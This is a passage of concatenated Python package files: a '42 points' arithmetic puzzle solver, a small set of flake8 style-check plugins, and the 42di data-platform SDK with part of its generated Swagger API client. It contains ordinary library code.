__all__ = ('FTPtsGameError')
class FTPtsGameError(Exception):
"""The whole module's global error collection."""
def __init__(self, err_no: int, hint='-'):
"""Initialization."""
self.__err_no = err_no
self.__hint = hint
def __repr__(self):
"""Print out, used in print() function."""
reference_code = {
0x00: 'StatusError:RequireCertainStatus',
0x01: 'ProblemGenerateError:FailedtoParse',
0x02: 'ProblemGenerateError:NoSolution',
0x03: 'ProblemGenerateError:UnmatchedProbLength',
0x04: 'ProblemGenerateError:MethodNotFound',
0x10: 'FormatError:ExpressionTooLong',
0x11: 'FormatError:FailedtoParse',
0x12: 'FormatError:UnallowedOperator',
0x13: 'FormatError:DivisionByZero',
0x14: 'FormatError:NotAnInteger',
0x15: 'FormatError:UnmatchedNumber',
0x20: 'AnswerError:WrongAnswer',
0x21: 'AnswerError:RepeatedAnswer',
} # This table might extend as more error types are included
message = '%s[%s]' % (
reference_code[self.__err_no], str(self.__hint)
) if self.__err_no in reference_code else 'UnknownError:ErrnoNotFound'
return message
def __str__(self):
"""Print out, used in str() function."""
return self.__repr__()
def get_details(self):
"""Get details of the raised error's code and hint."""
return (self.__err_no, self.__hint)
|
42Points
|
/42Points-1.2.7-py3-none-any.whl/ftptsgame/exceptions.py
|
exceptions.py
|
"""Expression utilities for 42 points."""
import ast
import itertools
from copy import deepcopy
from fractions import Fraction
class Node(object):
"""An expression tree."""
NODE_TYPE_NUMBER = 0
NODE_TYPE_OPERATOR = 1
def __init__(self, _type=NODE_TYPE_NUMBER, ch=None, left=None, right=None):
"""Initialize the node."""
self.type = _type
self.left = left
self.right = right
if self.type == Node.NODE_TYPE_OPERATOR:
self.value = Node.operation(ch, self.left.value, self.right.value)
self.ch = ch
else:
self.value = int(ch)
self.ch = '#'
@staticmethod
def operation(opt, x, y):
"""Basic arithmetic operation between two numbers."""
if opt == '/' and y == 0:
raise ArithmeticError('x/0')
operation_list = {
'+': lambda x, y: x + y,
'-': lambda x, y: x - y,
'*': lambda x, y: x * y,
'/': lambda x, y: Fraction(x, y)
}
return operation_list[opt](x, y)
def node_list(self) -> list:
"""Get the list of a node."""
if self.type == Node.NODE_TYPE_OPERATOR:
return self.left.node_list() + [self] + self.right.node_list()
else:
return [self]
def unique_id(self) -> str:
"""Return the unique id (postfix) of this expression."""
if self.type == Node.NODE_TYPE_OPERATOR:
return self.ch + self.left.unique_id() + self.right.unique_id()
else:
return '[' + str(self.value) + ']'
def __repr__(self) -> str:
"""Return the string form of this expression."""
if self.type != Node.NODE_TYPE_OPERATOR:
return str(self.value)
deal_l = self.ch in '*/' and self.left.ch in '+-'
deal_r = (self.ch in '-*/' and self.right.ch in '+-') or (self.ch == '/' and self.right.ch in '*/')
left_string = '(' * deal_l + repr(self.left) + ')' * deal_l
right_string = '(' * deal_r + repr(self.right) + ')' * deal_r
return left_string + self.ch + right_string
def evaluate(self, values: dict = None) -> Fraction:
"""Evaluate the value of this expression using substitution."""
if values is None:
return self.value
if self.type == Node.NODE_TYPE_OPERATOR:
return Node.operation(self.ch, self.left.evaluate(values), self.right.evaluate(values))
else:
return Fraction(values[int(self.value)])
def extract(self) -> list:
"""Extract numbers from the node."""
if self.type == Node.NODE_TYPE_OPERATOR:
return self.left.extract() + self.right.extract()
else:
return [int(self.value)]
def reduce_negative_number(self):
"""
Make all intermediate results of this expression not be negative.
The result of whole expression will become its absolute value.
"""
def _neg(v1: Fraction, v2: Fraction) -> Fraction:
return v1 * (1 - 2 * (v2 < 0))
if self.type != Node.NODE_TYPE_OPERATOR:
return self.value
left_value = self.left.reduce_negative_number()
right_value = self.right.reduce_negative_number()
return_value = Node.operation(self.ch, left_value, right_value)
if self.ch not in '+-':
self.value = abs(return_value)
return return_value
char_map = {'+': 1, '-': -1, 1: '+', -1: '-'}
left_opt = 1
right_opt = char_map[self.ch]
left_opt = _neg(left_opt, left_value)
left_value = _neg(left_value, left_value)
right_opt = _neg(right_opt, right_value)
right_value = _neg(right_opt, right_value)
left_opt = _neg(left_opt, return_value)
right_opt = _neg(right_opt, return_value)
if left_opt == 1:
self.ch = char_map[right_opt]
else:
self.ch = '-'
self.left, self.right = self.right, self.left
self.value = abs(return_value)
return return_value
def all_equivalent_expression(self):
"""
Return the list of all equivalent expression of an expression.
Rule 1 (equivalence by identical equation) is not considered.
If expression A induces expression B, B may not induce A.
"""
if self.type != Node.NODE_TYPE_OPERATOR:
return
left_equal_list = self.left.all_equivalent_expression()
right_equal_list = self.right.all_equivalent_expression()
left_value, right_value = self.left.value, self.right.value
for new_left in left_equal_list:
yield Node(Node.NODE_TYPE_OPERATOR, self.ch, new_left, self.right)
for new_right in right_equal_list:
yield Node(Node.NODE_TYPE_OPERATOR, self.ch, self.left, new_right)
# Rule 2: x-0 --> x+0
# x/1 --> x*1
# 0/x --> 0*x
if self.ch == '-' and right_value == 0:
yield Node(Node.NODE_TYPE_OPERATOR, '+', self.left, self.right)
if self.ch == '/' and right_value == 1:
yield Node(Node.NODE_TYPE_OPERATOR, '*', self.left, self.right)
if self.ch == '/' and left_value == 0:
yield Node(Node.NODE_TYPE_OPERATOR, '*', self.left, self.right)
# Rule 3: (x?y)+0 --> (x+0)?y, x?(y+0)
# (x?y)*1 --> (x*1)?y, x?(y*1)
if ((self.ch == '+' and right_value == 0) or
(self.ch == '*' and right_value == 1)) \
and self.left.type == Node.NODE_TYPE_OPERATOR:
yield Node(Node.NODE_TYPE_OPERATOR, self.left.ch, Node(Node.NODE_TYPE_OPERATOR, self.ch, self.left.left,
self.right), self.left.right)
yield Node(Node.NODE_TYPE_OPERATOR, self.left.ch, self.left.left,
Node(Node.NODE_TYPE_OPERATOR, self.ch, self.left.right, self.right))
# Rule 4: (y+z)/x --> (x-y)/z, (x-z)/y when x=y+z
if self.ch == '/' and self.left.ch == '+' and \
left_value == right_value and \
self.left.left.value != 0 and self.left.right.value != 0:
yield Node(Node.NODE_TYPE_OPERATOR, '/', Node(Node.NODE_TYPE_OPERATOR, '-', self.right, self.left.left),
self.left.right)
yield Node(Node.NODE_TYPE_OPERATOR, '/', Node(Node.NODE_TYPE_OPERATOR, '-', self.right, self.left.right),
self.left.left)
# Rule 5: x*(y/y) --> x+(y-y)
if self.ch == '*' and self.right.ch == '/' and right_value == 1:
yield Node(Node.NODE_TYPE_OPERATOR, '+', self.left,
Node(Node.NODE_TYPE_OPERATOR, '-', self.right.left, self.right.right))
# Rule 6: x_1/x_2 --> x_2/x_1
if self.ch == '/' and left_value == right_value:
yield Node(Node.NODE_TYPE_OPERATOR, '/', self.right, self.left)
# Rule 7: Changing two sub-expressions which have the same result
# doesn't change the equivalence class of this expression.
left_node_list = self.left.node_list()
right_node_list = self.right.node_list()
for nl, nr in itertools.product(left_node_list, right_node_list):
if nl.value == nr.value:
nl.type, nl.left, nl.right, nl.ch, nl.value, \
nr.type, nr.left, nr.right, nr.ch, nr.value = \
nr.type, nr.left, nr.right, nr.ch, nr.value, \
nl.type, nl.left, nl.right, nl.ch, nl.value
yield deepcopy(self)
nl.type, nl.left, nl.right, nl.ch, nl.value, \
nr.type, nr.left, nr.right, nr.ch, nr.value = \
nr.type, nr.left, nr.right, nr.ch, nr.value, \
nl.type, nl.left, nl.right, nl.ch, nl.value
# Rule 8: 2*2 --> 2+2
# 4/2 --> 4-2
if self.ch == '*' and left_value == 2 and right_value == 2:
yield Node(Node.NODE_TYPE_OPERATOR, '+', self.left, self.right)
if self.ch == '/' and left_value == 4 and right_value == 2:
yield Node(Node.NODE_TYPE_OPERATOR, '-', self.left, self.right)
def unique_id_for_rule_1(self, values_list: list) -> tuple:
"""
Return the unique id of this expression.
Two expressions is equivalent by rule 1 iff they have the same id.
"""
results = [self.evaluate(values) for values in values_list]
return tuple(results)
def _build_node(node) -> Node:
"""Convert an AST node to an expression node."""
node_ref = {type(ast.Add()): '+', type(ast.Sub()): '-', type(ast.Mult()): '*', type(ast.Div()): '/'}
if isinstance(node, ast.BinOp) and type(node.op) in node_ref:
built_node = Node(_type=Node.NODE_TYPE_OPERATOR,
ch=node_ref[type(node.op)],
left=_build_node(node.left),
right=_build_node(node.right))
elif isinstance(node, ast.Num) and type(node.n) is int:
built_node = Node(_type=Node.NODE_TYPE_NUMBER, ch=node.n)
else:
raise SyntaxError('Unallowed operator or operands.')
return built_node
def build_node(token: str) -> Node:
"""Convert a token/string to an AST node."""
token_ast = ast.parse(token, mode='eval').body
node = _build_node(token_ast)
node.reduce_negative_number()
return node
|
42Points
|
/42Points-1.2.7-py3-none-any.whl/ftptsgame/expr_utils.py
|
expr_utils.py
|
"""42-points problem utilities for 42 points."""
import random
import itertools
from .expr_utils import Node
class Problem(object):
"""A 42-points problem."""
def __init__(self, problem):
"""Initialize the problem."""
self.problem = sorted(problem)
self.answer_table = []
self.distinct_answer_table = []
self.equivalence_dict = {}
self.__parent = {}
self.__rank = {}
def __root(self, uid):
"""Method for union set."""
if self.__parent[uid] == uid:
return uid
else:
self.__parent[uid] = self.__root(self.__parent[uid])
return self.__parent[uid]
def __union(self, uid1, uid2):
"""Method for union set."""
uid1 = self.__root(uid1)
uid2 = self.__root(uid2)
if uid1 != uid2:
if self.__rank[uid1] <= self.__rank[uid2]:
self.__parent[uid1] = uid2
self.__rank[uid2] += (self.__rank[uid1] == self.__rank[uid2])
else:
self.__parent[uid2] = uid1
def __classify(self, target):
"""
Divide all answers into some equivalence classes.
Returns:
1. A list including all answers (as expression trees);
2. A dictionary, for any answer expression save the representative
expression of its class (as the unique id of expressions).
"""
values_list = []
n = len(self.problem)
dif = list(set(self.problem)) # different numbers of the problem
for _ in range(10):
numbers = random.sample(range(500000, 1000000), len(dif))
values = {dif[i]: numbers[i] for i in range(len(dif))}
values[0], values[1] = 0, 1
values_list.append(values)
answers = _get_all_expr(self.problem, n, target)
uid_table, uid_r1_table = {}, {}
for expr in answers:
uid = expr.unique_id()
uid_table[uid] = expr
uid_r1 = expr.unique_id_for_rule_1(values_list)
if uid_r1 in uid_r1_table:
self.__parent[uid] = uid_r1_table[uid_r1]
self.__rank[uid] = 1
else:
self.__parent[uid] = uid
uid_r1_table[uid_r1] = uid
self.__rank[uid] = 2
for expr in answers:
uid1 = expr.unique_id()
for expr2 in expr.all_equivalent_expression():
uid2 = expr2.unique_id()
self.__union(uid1, uid2)
return_dict = {}
for expr in answers:
uid = expr.unique_id()
return_dict[uid] = self.__root(uid)
return answers, return_dict
def generate_answers(self, target: int = 42):
"""Generate all answers divided into equivalence classes."""
self.answer_table, self.equivalence_dict = self.__classify(target)
self.distinct_answer_table = []
for expr in self.answer_table:
uid = expr.unique_id()
if self.equivalence_dict[uid] == uid:
self.distinct_answer_table.append(expr)
def _combine_expr(left_set: list, right_set: list):
"""Combine two node sets to a single node set with different operators."""
for left_expr, right_expr in itertools.product(left_set, right_set):
yield Node(Node.NODE_TYPE_OPERATOR, '+', left_expr, right_expr)
yield Node(Node.NODE_TYPE_OPERATOR, '*', left_expr, right_expr)
if left_expr.value >= right_expr.value:
yield Node(Node.NODE_TYPE_OPERATOR, '-', left_expr, right_expr)
if right_expr.value != 0:
yield Node(Node.NODE_TYPE_OPERATOR, '/', left_expr, right_expr)
def _get_all_expr(problem: list, length: int, target: int) -> list:
"""Return the list of all possible expressions of a problem."""
n = len(problem)
if n == 1:
return [Node(Node.NODE_TYPE_NUMBER, problem[0])]
return_list = []
unique_id_set = set()
for mask in itertools.filterfalse(lambda x: sum(x) == 0 or sum(x) == n, itertools.product([0, 1], repeat=n)):
left_prob, right_prob = [], []
for i in range(n):
left_prob.append(problem[i]) if mask[i] == 0 \
else right_prob.append(problem[i])
left_set = _get_all_expr(left_prob, length, target)
right_set = _get_all_expr(right_prob, length, target)
for expr in itertools.filterfalse(lambda x: x.value != target and n == length, _combine_expr(left_set, right_set)):
expr_id = expr.unique_id()
if expr_id not in unique_id_set:
return_list.append(expr)
unique_id_set.add(expr_id)
return return_list
|
42Points
|
/42Points-1.2.7-py3-none-any.whl/ftptsgame/problem_utils.py
|
problem_utils.py
|
"""Function should not be too long"""
import ast
class TestLenFunction(object):
name = 'test_lenfunction'
version = '0.0.1'
threshold = 40 # should have less than 40 statements in a function
def __init__(self, tree, filename='(none)', builtins=None):
self.tree = tree
self.filename = filename
def run(self):
"""Check that functions are less than threshold"""
for stmt in ast.walk(self.tree):
if isinstance(stmt, ast.FunctionDef) \
and len(stmt.body) > self.threshold:
yield (stmt.lineno, stmt.col_offset,
'42cc2: Function should be shorter than '
'%d statements' % self.threshold,
'42cc2',
)
|
42cc-pystyle
|
/42cc_pystyle-0.0.17-py3-none-any.whl/42cc_pystyle/test_len_function.py
|
test_len_function.py
|
"""Function should not contain commented out code"""
import ast
import tokenize
def flake8ext(f):
f.name = __name__
f.version = '0.0.1'
f.skip_on_py3 = False
return f
@flake8ext
def commentedcode(physical_line, tokens):
for token_type, text, start_index, _, _ in tokens:
if token_type == tokenize.COMMENT:
try:
code = ast.parse(text[1:].lstrip())
if len(code.body) == 1 and isinstance(code.body[0],
ast.Expr):
continue # that's a simple one-word comment
return start_index[1], '42cc4: Commented out code'
except Exception:
continue
|
42cc-pystyle
|
/42cc_pystyle-0.0.17-py3-none-any.whl/42cc_pystyle/test_comments.py
|
test_comments.py
|
"""Tests should have docstrings"""
import ast
class TestDocstrings(object):
name = 'test_docstrings'
version = '0.0.1'
def __init__(self, tree, filename='(none)', builtins=None):
self.tree = tree
self.filename = filename
def run(self):
"""Check that test methods of test classes have docstrings"""
for stmt in ast.walk(self.tree):
if isinstance(stmt, ast.FunctionDef) \
and stmt.name.startswith('test') \
and not ast.get_docstring(stmt):
yield (
stmt.lineno,
stmt.col_offset,
"42cc1: Test has no docstring",
"42cc1",
)
|
42cc-pystyle
|
/42cc_pystyle-0.0.17-py3-none-any.whl/42cc_pystyle/test_docstrings.py
|
test_docstrings.py
|
"""Function should not consist of a single `if` statement"""
import ast
class TestSingleIf(object):
name = 'test_singleif'
version = '0.0.1'
def __init__(self, tree, filename='(none)', builtins=None):
self.tree = tree
self.filename = filename
def run(self):
"""Check that no functions are a single if statement"""
for stmt in ast.walk(self.tree):
if isinstance(stmt, ast.FunctionDef):
if len(stmt.body) > 1:
continue
if isinstance(stmt.body[0], ast.If):
yield (stmt.lineno, stmt.col_offset,
'42cc3: Function should be longer than a '
'single if',
'42cc3',
)
|
42cc-pystyle
|
/42cc_pystyle-0.0.17-py3-none-any.whl/42cc_pystyle/test_single_if.py
|
test_single_if.py
|
"42 Coffee Cups style module"
|
42cc-pystyle
|
/42cc_pystyle-0.0.17-py3-none-any.whl/42cc_pystyle/__init__.py
|
__init__.py
|
# 42di Python SDK
### Install
```bash
pip install 42di
```
OR
```bash
pip install git+https://github.com/42di/python-sdk
```
### Put to / read from 42di
```python
import di #42di
import pandas_datareader as pdr
di.TOKEN = "<YOUR_ACCESS_TOKEN>"
df = pdr.get_data_fred('GDP')
di.put("42di.cn/shellc/testing/my_dataset", df, create=True, update_schema=True)
df = di.read("42di.cn/shellc/testing/my_dataset")
print(df.head(100))
```
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/README.md
|
README.md
|
# coding: utf-8
"""
42di Python SDK
No description provided
"""
from setuptools import setup, find_packages # noqa: H301
NAME = "42di"
VERSION = "0.2.6"
# To install the library, run the following
#
# python setup.py install
#
# prerequisite: setuptools
# http://pypi.python.org/pypi/setuptools
REQUIRES = ["urllib3 >= 1.15", "six >= 1.10", "certifi", "python-dateutil"]
setup(
name=NAME,
version=VERSION,
description="42di is the python sdk for 42di.com",
author_email="support@42di.com",
url="https://42di.com",
keywords=["42DI", "42di Python SDK", "42di.com", "42di.cn"],
install_requires=REQUIRES,
packages=find_packages(),
include_package_data=True,
long_description_content_type="text/markdown",
long_description="""
# 42di Python SDK
**42di is the python sdk for 42di.com**
**42di.com is a platform for data science.**
## Install
```bash
pip install 42di
```
OR
```bash
pip install git+https://github.com/42di/python-sdk
```
## Put to / read from 42di
```python
import di #42di
import pandas_datareader as pdr
di.TOKEN = "<YOUR_ACCESS_TOKEN>"
df = pdr.get_data_fred('GDP')
di.put("42di.cn/shellc/testing/my_dataset", df, create=True, update_schema=True)
df = di.read("42di.cn/shellc/testing/my_dataset")
print(df.head(100))
```
"""
)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/setup.py
|
setup.py
|
from . import _create_sw_client, _err_format, SSL
import swagger_client as sw
from swagger_client.models.analysis_job_status import AnalysisJobStatus
class Analytics():
def __init__(self, host, token=None) -> None:
self.sw_client = _create_sw_client(host, token)
self.api = sw.AnalysisApi(self.sw_client)
def adopt(self):
try:
return self.api.adopt_analaysis_job()
except sw.rest.ApiException as e:
if e.status != 404:
_err_format(e)
def report_status(self, team_id, job_id, status, message):
try:
jobStatus = AnalysisJobStatus(status=status, message=message)
return self.api.report_analysis_status(team_id, job_id, body=jobStatus)
except sw.rest.ApiException as e:
_err_format(e)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/di/analysis.py
|
analysis.py
|
from logging import error
import requests
from requests import status_codes
import swagger_client as sw
import json
import pandas
import warnings
from enum import Enum
#warnings.filterwarnings('default')
SSL = True
TOKEN = None
class ResourceType(Enum):
INVALID = 0
TEAM = 1
PROJECT = 2
DATASET = 3
FILE = 4
class ResourceId():
def __init__(self, uri):
self.endpoint = None
self.team_id = None
self.project_id = None
self.dataset_id = None
self.file_name = None
self._parse_uri(uri)
def _parse_uri(self, uri):
if not uri:
return
s = uri.strip().split('/')
length = len(s)
if length < 1 or length > 5:
raise ValueError("invalid ResourceId: %s" % uri)
if length > 0:
self.endpoint = s[0]
if length > 1:
self.team_id = s[1]
if length > 2:
self.project_id = s[2]
if length > 3:
self.dataset_id = s[3]
if length > 4:
self.file_name = s[4]
def resource_type(self):
if self.file_name:
return ResourceType.FILE
elif self.dataset_id:
return ResourceType.DATASET
elif self.project_id:
return ResourceType.PROJECT
elif self.team_id:
return ResourceType.TEAM
else:
return ResourceType.INVALID
def team_resource_id(self):
if self.endpoint and self.team_id:
return '/'.join([self.endpoint, self.team_id])
else:
return None
def project_resource_id(self):
if self.endpoint and self.team_id and self.project_id:
return '/'.join([self.endpoint, self.team_id, self.project_id])
else:
return None
def dataset_resource_id(self):
if self.endpoint and self.team_id and self.project_id and self.dataset_id:
return '/'.join([self.endpoint, self.team_id, self.project_id, self.dataset_id])
else:
return None
def file_resource_id(self):
if self.endpoint and self.team_id and self.project_id and self.dataset_id and self.file_name:
return '/'.join([self.endpoint, self.team_id, self.project_id, self.dataset_id, self.file_name])
else:
return None
def __str__(self):
resource_type = self.resource_type()
if resource_type == ResourceType.TEAM:
return self.team_resource_id()
elif resource_type == ResourceType.PROJECT:
return self.project_resource_id()
elif resource_type == ResourceType.DATASET:
return self.dataset_resource_id()
elif resource_type == ResourceType.FILE:
return self.file_resource_id()
else:
return None
def str(self):
return self.__str__()
def _create_sw_client(host, token):
cfg = sw.Configuration()
#cfg.api_key["token"] = token
scheme = "https://" if SSL else "http://"
cfg.host = scheme + host + "/api/v1"
return sw.ApiClient(cfg, "Authorization", "Bearer " + token)
class Project():
def __init__(self, project, access_token=None):
global SSL
global TOKEN
ri = ResourceId(project)
if not ri.project_resource_id():
raise ValueError("invalid project resource identity: %s" % project)
self.host = ri.endpoint
self.team_id = ri.team_id
self.project_id = ri.project_id
self.access_token = access_token
if not self.access_token:
self.access_token = TOKEN
if not self.access_token:
raise ValueError("access token required.")
self.sw_client = _create_sw_client(self.host, self.access_token)
def dataset(self, dataset_id):
return Dataset(self.team_id, self.project_id, dataset_id, self.sw_client, self.access_token)
def list_datasets(self):
return self.dataset(None).list()
# Deprecated
def table(self, table_name):
warnings.warn("Deprecated, use dataset instead.", DeprecationWarning)
return self.dataset(table_name)
def list_tables(self):
warnings.warn("Deprecated, use list_datasets instead.", DeprecationWarning)
return self.list_datasets()
class Dataset():
def __init__(self, team_id, project_id, dataset_id, sw_client, token=None):
self.team_id = team_id
self.project_id = project_id
self.dataset_id = dataset_id
self.sw_client = sw_client
self.api = sw.DatasetsApi(self.sw_client)
self.token = token
def list(self):
try:
return self.api.list_datasets(self.team_id, self.project_id)
except sw.rest.ApiException as e:
_err_format(e)
def get(self, get_schema=False):
t = None
try:
t = self.api.get_dataset(self.team_id, self.project_id, self.dataset_id, schema=get_schema)
except sw.rest.ApiException as e:
if e.status != 404:
_err_format(e)
return t
def exists(self):
return self.get() is not None
def create(self):
try:
self.api.update_dataset(self.team_id, self.project_id, self.dataset_id)
except sw.rest.ApiException as e:
_err_format(e)
def delete(self):
try:
self.api.delete_dataset(self.team_id, self.project_id, self.dataset_id)
except sw.rest.ApiException as e:
_err_format(e)
def update(self, prop, value):
action = sw.PatchAction(action="UPDATE", _property=prop, value=value)
try:
self.api.update_dataset_property(self.team_id, self.project_id, self.dataset_id, body=action)
except sw.rest.ApiException as e:
_err_format(e)
def update_schema(self, schema):
self.update("schema", json.dumps(schema));
def put(self, data, file_name=None, tag=None, content_type=None):
if file_name is None or file_name.strip() == "":
file_name = "0"
if tag is None:
tag = ""
if content_type is None or content_type.strip() == "":
content_type = ""
try:
self.api.put_dataset_data_file(self.team_id, self.project_id, self.dataset_id, file_name , x_di_tag=tag, content_type=content_type, body=data)
except sw.rest.ApiException as e:
_err_format(e)
def put_csv(self, df, file_name=None, tag=None):
body = df.to_csv()
self.put(body, file_name, tag, "text/csv")
def put_parquet(self, df, file_name=None, tag=None):
body = df.to_parquet()
self.put(body, file_name, tag, "application/parquet")
def files(self):
try:
return self.api.list_dataset_data_files(self.team_id, self.project_id, self.dataset_id)
except sw.rest.ApiException as e:
_err_format(e)
def get_file_meta(self, data_file_name):
try:
return self.api.get_dataset_data_file_meta(self.team_id, self.project_id, self.dataset_id, data_file_name)
except sw.rest.ApiException as e:
_err_format(e)
def _get_file_url(self, file_name):
url = '/'.join([self.sw_client.configuration.host, "teams", self.team_id, "projects", self.project_id, "datasets", self.dataset_id, "data", file_name])
if self.token:
url += "?token=" + self.token
r = requests.get(url, allow_redirects=False)
if r.status_code == 303:
return r.headers.get('Location')
else:
raise BaseException("Get DataFile content failed: %s" % str(r.status_code))
def _read_df(self, file_name, format):
url = self._get_file_url(file_name)
if url and format == "text/csv":
return pandas.read_csv(url)
elif format == "application/parquet":
return pandas.read_parquet(url)
else:
raise BaseException("File format unsupported.")
def read(self, file_name=[]):
filters = set(file_name)
dfs = []
files = self.files()
for f in files:
if len(file_name) > 0 and f.name not in filters:
continue
df = self._read_df(f.name, f.content_type)
dfs.append(df)
return None if len(dfs) == 0 else pandas.concat(dfs)
def Table(Dataset):
def __init__(self, team_id, project_id, table_name, sw_client, token=None):
Dataset.__init__(team_id, project_id, table_name, sw_client, token)
warnings.warn("Deprecated, use Dataset instead.", DeprecationWarning)
def schema(df):
columns = []
for name in df.index.names:
columns.append({
"name": name,
"data_type": str(df.index.dtype),
"key": "index"
})
for index, value in df.dtypes.items():
columns.append({
"name": index,
"data_type": str(value)
})
return {"columns": columns}
def dataset(identity, token=None):
ri = ResourceId(str(identity))
if ri.resource_type() != ResourceType.DATASET:
raise ValueError("invalid resource id: %s" % identity)
return Project(ri.project_resource_id(), access_token=token).dataset(ri.dataset_id)
def put(identity, data, token=None, content_type='application/parquet', create=True, update_schema=False):
ri = ResourceId(str(identity))
if ri.resource_type() != ResourceType.DATASET and ri.resource_type() != ResourceType.FILE:
raise ValueError("invalid resource id: %s" % identity)
project = Project(ri.project_resource_id(), token)
dataset = project.dataset(ri.dataset_id)
if not dataset.exists() and create:
dataset.create()
if content_type == 'text/csv':
dataset.put_csv(data, ri.file_name)
elif content_type == 'application/parquet':
dataset.put_parquet(data, ri.file_name)
else:
dataset.put(data, file_name=ri.file_name, tag=None, content_type=content_type)
if update_schema:
dataset.update_schema(schema(data))
def read(identity, token=None):
ri = ResourceId(str(identity))
if ri.resource_type() != ResourceType.DATASET and ri.resource_type() != ResourceType.FILE:
raise ValueError("invalid resource id: %s" % identity)
project = Project(ri.project_resource_id(), token)
files = []
if ri.file_name:
files.append(ri.file_name)
return project.dataset(ri.dataset_id).read(file_name=files)
class DIException(Exception):
def __init__(self, status, code, msg):
self.status = status
self.code = code
self.msg = msg
Exception.__init__(self, self.status, "HTTP Status: %s, Code: %s, Message: %s" % (self.status, self.code, self.msg))
def _err_format(e):
err = {}
try:
err = json.loads(e.body)
except json.decoder.JSONDecodeError as je:
err = {"code": "JSONDecodeError", "message": je}
raise DIException(e.status, err["code"], err["message"]) from None
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/di/__init__.py
|
__init__.py
|
from . import _create_sw_client, _err_format
import swagger_client as sw
from swagger_client.models.insight import Insight
from swagger_client.models.patch_action import PatchAction
import json
class Insights():
def __init__(self, team_id, project_id, host, token=None) -> None:
self.team_id = team_id
self.project_id = project_id
self.sw_client = _create_sw_client(host, token)
self.api = sw.InsightsApi(self.sw_client)
self.token = token
def create(self, id, subject, summary, content):
body = Insight(id=id, subject=subject, summary=summary, content=content)
try:
self.api.update_insight(team_id=self.team_id, project_id=self.project_id, insight_id=id, body=body)
except sw.rest.ApiException as e:
_err_format(e)
def update(self, id, prop, value):
body = PatchAction("UPDATE", prop, value)
try:
self.api.update_insight_property(team_id=self.team_id, project_id=self.project_id, insight_id=id, body=body)
except sw.rest.ApiException as e:
_err_format(e)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/di/insights.py
|
insights.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import datetime
import json
import mimetypes
from multiprocessing.pool import ThreadPool
import os
import re
import tempfile
# python 2 and python 3 compatibility library
import six
from six.moves.urllib.parse import quote
from swagger_client.configuration import Configuration
import swagger_client.models
from swagger_client import rest
class ApiClient(object):
"""Generic API client for Swagger client library builds.
Swagger generic API client. This client handles the client-
server communication, and is invariant across implementations. Specifics of
the methods and models for each application are generated from the Swagger
templates.
NOTE: This class is auto generated by the swagger code generator program.
Ref: https://github.com/swagger-api/swagger-codegen
Do not edit the class manually.
:param configuration: .Configuration object for this client
:param header_name: a header to pass when making calls to the API.
:param header_value: a header value to pass when making calls to
the API.
:param cookie: a cookie to include in the header when making calls
to the API
"""
PRIMITIVE_TYPES = (float, bool, bytes, six.text_type) + six.integer_types
NATIVE_TYPES_MAPPING = {
'int': int,
'long': int if six.PY3 else long, # noqa: F821
'float': float,
'str': str,
'bool': bool,
'date': datetime.date,
'datetime': datetime.datetime,
'object': object,
}
def __init__(self, configuration=None, header_name=None, header_value=None,
cookie=None):
if configuration is None:
configuration = Configuration()
self.configuration = configuration
self.pool = ThreadPool()
self.rest_client = rest.RESTClientObject(configuration)
self.default_headers = {}
if header_name is not None:
self.default_headers[header_name] = header_value
self.cookie = cookie
# Set default User-Agent.
self.user_agent = 'Swagger-Codegen/1.0.0/python'
def __del__(self):
self.pool.close()
self.pool.join()
@property
def user_agent(self):
"""User agent for this API client"""
return self.default_headers['User-Agent']
@user_agent.setter
def user_agent(self, value):
self.default_headers['User-Agent'] = value
def set_default_header(self, header_name, header_value):
self.default_headers[header_name] = header_value
def __call_api(
self, resource_path, method, path_params=None,
query_params=None, header_params=None, body=None, post_params=None,
files=None, response_type=None, auth_settings=None,
_return_http_data_only=None, collection_formats=None,
_preload_content=True, _request_timeout=None):
config = self.configuration
# header parameters
header_params = header_params or {}
header_params.update(self.default_headers)
if self.cookie:
header_params['Cookie'] = self.cookie
if header_params:
header_params = self.sanitize_for_serialization(header_params)
header_params = dict(self.parameters_to_tuples(header_params,
collection_formats))
# path parameters
if path_params:
path_params = self.sanitize_for_serialization(path_params)
path_params = self.parameters_to_tuples(path_params,
collection_formats)
for k, v in path_params:
# specified safe chars, encode everything
resource_path = resource_path.replace(
'{%s}' % k,
quote(str(v), safe=config.safe_chars_for_path_param)
)
# query parameters
if query_params:
query_params = self.sanitize_for_serialization(query_params)
query_params = self.parameters_to_tuples(query_params,
collection_formats)
# post parameters
if post_params or files:
post_params = self.prepare_post_parameters(post_params, files)
post_params = self.sanitize_for_serialization(post_params)
post_params = self.parameters_to_tuples(post_params,
collection_formats)
# auth setting
self.update_params_for_auth(header_params, query_params, auth_settings)
# body
if body:
body = self.sanitize_for_serialization(body)
# request url
url = self.configuration.host + resource_path
# perform request and return response
response_data = self.request(
method, url, query_params=query_params, headers=header_params,
post_params=post_params, body=body,
_preload_content=_preload_content,
_request_timeout=_request_timeout)
self.last_response = response_data
return_data = response_data
if _preload_content:
# deserialize response data
if response_type:
return_data = self.deserialize(response_data, response_type)
else:
return_data = None
if _return_http_data_only:
return (return_data)
else:
return (return_data, response_data.status,
response_data.getheaders())
def sanitize_for_serialization(self, obj):
"""Builds a JSON POST object.
If obj is None, return None.
If obj is str, int, long, float, bool, return directly.
If obj is datetime.datetime, datetime.date
convert to string in iso8601 format.
If obj is list, sanitize each element in the list.
If obj is dict, return the dict.
If obj is swagger model, return the properties dict.
:param obj: The data to serialize.
:return: The serialized form of data.
"""
if obj is None:
return None
elif isinstance(obj, self.PRIMITIVE_TYPES):
return obj
elif isinstance(obj, list):
return [self.sanitize_for_serialization(sub_obj)
for sub_obj in obj]
elif isinstance(obj, tuple):
return tuple(self.sanitize_for_serialization(sub_obj)
for sub_obj in obj)
elif isinstance(obj, (datetime.datetime, datetime.date)):
return obj.isoformat()
if isinstance(obj, dict):
obj_dict = obj
else:
# Convert model obj to dict except
# attributes `swagger_types`, `attribute_map`
# and attributes which value is not None.
# Convert attribute name to json key in
# model definition for request.
obj_dict = {obj.attribute_map[attr]: getattr(obj, attr)
for attr, _ in six.iteritems(obj.swagger_types)
